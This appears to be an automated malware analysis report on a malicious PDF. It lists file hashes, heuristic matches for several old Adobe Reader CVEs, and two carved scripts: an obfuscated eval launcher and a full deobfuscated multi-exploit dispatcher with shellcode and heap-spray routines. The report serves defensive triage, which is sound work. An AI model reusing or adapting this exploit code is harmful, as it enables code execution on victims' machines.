Malicious PDF — malware analysis report

Static analysis result for SHA-256 40ad32444a719c85…

MALICIOUS

PDF

25.2 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2013-08-12
MD5: c48f0388c7d2c3897144f0fb24494e72 SHA-1: ebb18c8109b6abe8bd52dbb30bc6fb4e4bd48ec7 SHA-256: 40ad32444a719c854361cd15096dc46728ddff338a89433df9a1d0f3dbeb051a
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Scripting: JavaScript

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript file 'javascript_obj0001_000.js' is likely responsible for the malicious behavior, though its specific actions are not detailed in the provided evidence. The use of 'String.fromCharCode' in the PDF metadata and the embedded JavaScript suggests obfuscation techniques.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 562 bytes
SHA-256: c5aee78566eee89ccae240994f4f774849526a825e86ae266574ae00baa4bbdf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
cwz='';
var q = date.getFullYear()-2007;
itni='2011s'.replace(date.getFullYear(),'hi');
izabk=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+itni+'[a]');
var atfy = g(izabk);
madzo=('sub2011').replace(date.getFullYear(),'ject');
var pclrq=g(madzo).replace(date.getFullYear(),'al');
yzmd=g(pclrq);
mciu='pro2011cer';
mciu=yzmd('mciu.replace(date.getFullYear(),"du")');
kyo=yzmd(g(mciu));
lfob = yzmd(atfy);
for (i = 0; i < lfob.length; i++) {
	iou = lfob[i];
	cwz += kyo(iou);
}
yzmd(cwz);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x2FB 3636 bytes
SHA-256: 134dac5d6794f42d476d17787f0e9757b628da0840c3a9f55f1eee4c1a886ab3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ue034%ue2aa%uc3fa%ue5e8%uffff%u09ff%ue1ec%ue0e0%u61be%ubc0c%ue0e1%u69e0%u6d07%uf0af%u8f6d%ud1b4%ub73b%ub3b1%ub3b3%ub3b3%ub3b3%ub3b5%u88b3%ue1e4%ue0e0%ub6b5%u88b3%u8e8f%ue0e0%u9588%u8c92%ub48d%u6e88%ueeae%u080c%ue0a8%ue0e0%u08b0%ue09c%ue0e0%u301f%u2463%u88e8%u0faf%ue5af%u08b0%ue08c%ue0e0%u301f%u2065%uf795%ub48a%u13b9%u884a%u1e92%uf653%ufd08%ue0e0%ub0e0%ub108%ue0e0%u1fe0%ub330%u1e8a%u6988%ue18f%u085d%ue0e8%ue0e0%u08b0%ue0dc%ue0e0%u301f%ud180%u8420%ub06b%u6bd0%uecb2%ub26b%u6bf4%uc892%uf859%ue0e0%ud1e0%ud11f%u4c20%u81dc%ue29c%uc0cc%u2f21%ue1ed%u0227%u6110%ubb1f%uaa5c%u6b8a%uf0a2%uf26b%u3995%ua469%ufcc4%u2381%u6b80%uc48c%u6bc4%udca5%ub46b%u98e5%u0ae1%uaa6b%u6bf8%uc0ba%u0be1%ud403%u6ba9%u6bd4%u0ee1%u1fd1%u20d1%u4c1c%u2064%ue794%u2f21%ue1ed%u0b27%udb14%uc49c%u95c8%u6b01%uc4ba%u0be1%u6b86%uabec%uba6b%ue1fc%u6b0b%u6be4%u08e1%ua469%ufcc4%u2281%ue0e8%u0f08%u1f1e%u881f%u9494%uda90%ucfcf%u8191%u919a%u83ce%uce8f%u8383%u84cf%u90ce%u9088%u86df%ud2dd%uc6d6%udd85%ue0d3';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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